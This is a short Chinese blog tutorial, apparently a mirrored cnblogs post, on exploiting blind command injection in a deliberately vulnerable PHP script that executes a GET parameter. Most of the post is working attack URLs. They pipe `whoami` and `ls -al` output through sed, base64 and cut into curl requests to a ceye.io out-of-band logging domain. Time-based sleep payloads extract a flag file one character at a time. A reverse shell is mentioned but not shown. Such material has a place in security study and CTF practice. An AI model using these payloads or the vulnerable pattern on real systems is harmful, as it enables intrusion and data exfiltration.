zoukankan      html  css  js  c++  java
  • 命令执行没回显

    存在命令执行,但是不会直接回显,所以需要特殊的指令把结果带出来。
    
    <?php
    $cmd = $_GET[`cmd`];
    `$cmd`;
    

    1.ceye.io

    需要注册个账号,然后会给你分配个域名
    
    访问:
    http://106.13.124.93/test.php?cmd=curl http://snrkgl.ceye.io/`whoami`
    
    执行的结果
    http://snrkgl.ceye.io/www-data(用户名www-data)
    

    Snipaste_2019-12-27_15-01-03.png


    其他情况:

    # ls -sl
    

    Snipaste_2019-12-27_15-19-51.png


    执行:
    http://106.13.124.93/test.php?cmd=curl http://snrkgl.ceye.io/`ls -al`
    结果:
    http://snrkgl.ceye.io/total
    
    
    
    看起来只能带出第一行,所以我们需要sed命令
    http://106.13.124.93/test.php?cmd=curl http://snrkgl.ceye.io/`ls -al | sed -n '2p'`
    结果:
    http://snrkgl.ceye.io/drwxr-xr-x
    
    发现空格不能被带出来,用base64编码
    http://106.13.124.93/test.php?cmd=curl http://snrkgl.ceye.io/`ls -al | sed -n '2p'|base64`
    结果:
    http://snrkgl.ceye.io/ZHJ3eHIteHIteCAyIHJvb3Qgcm9vdCA0MDk2IERlYyAyNyAxNDo1OSAuCg==
    解码:drwxr-xr-x 2 root root 4096 Dec 27 14:59 . 
    
    若有的时候长度太大,cut来分割字符(第一个字符下标为1)
    http://106.13.124.93/test.php?cmd=curl http://snrkgl.ceye.io/`ls -al |cut -c 3-10`
    

    2.反弹shell,不多bb

    3.sleep

    #请注意空格,测试环境ubuntu server 16.04
    http://106.13.124.93/test.php?cmd=?cmd=if [ 1 == 1 ];then sleep 2;fi
    http://106.13.124.93/test.php?cmd=?cmd=if [ 1 == 2 ];then sleep 2;fi
    
    #请注意空格
    http://106.13.124.93/test.php?cmd=if [ $( whoami | cut -c 1) = 'w' ];then sleep 2;fi
    http://106.13.124.93/test.php?cmd=if [ $( whoami | cut -c 1) = 'r' ];then sleep 2;fi
    
    #注意空格
    http://106.13.124.93/test.php?cmd=if [ $( cat flag | cut -c 1) = '1' ];then sleep 2;fi
    http://106.13.124.93/test.php?cmd=if [ $( cat flag | cut -c 1) = '2' ];then sleep 2;fi
    
  • 相关阅读:
    c语言--第零次作业
    Beta 冲刺(3/7)
    Beta 冲刺(2/7)
    福大软工 · 第十次作业
    Beta 冲刺(1/7)
    BETA 版冲刺前准备(团队)
    Alpha 事后诸葛亮(团队)
    Alpha冲刺(10/10)
    Alpha 冲刺 (9/10)
    Alpha 冲刺 (8/10)
  • 原文地址:https://www.cnblogs.com/zaqzzz/p/12108137.html
Copyright © 2011-2022 走看看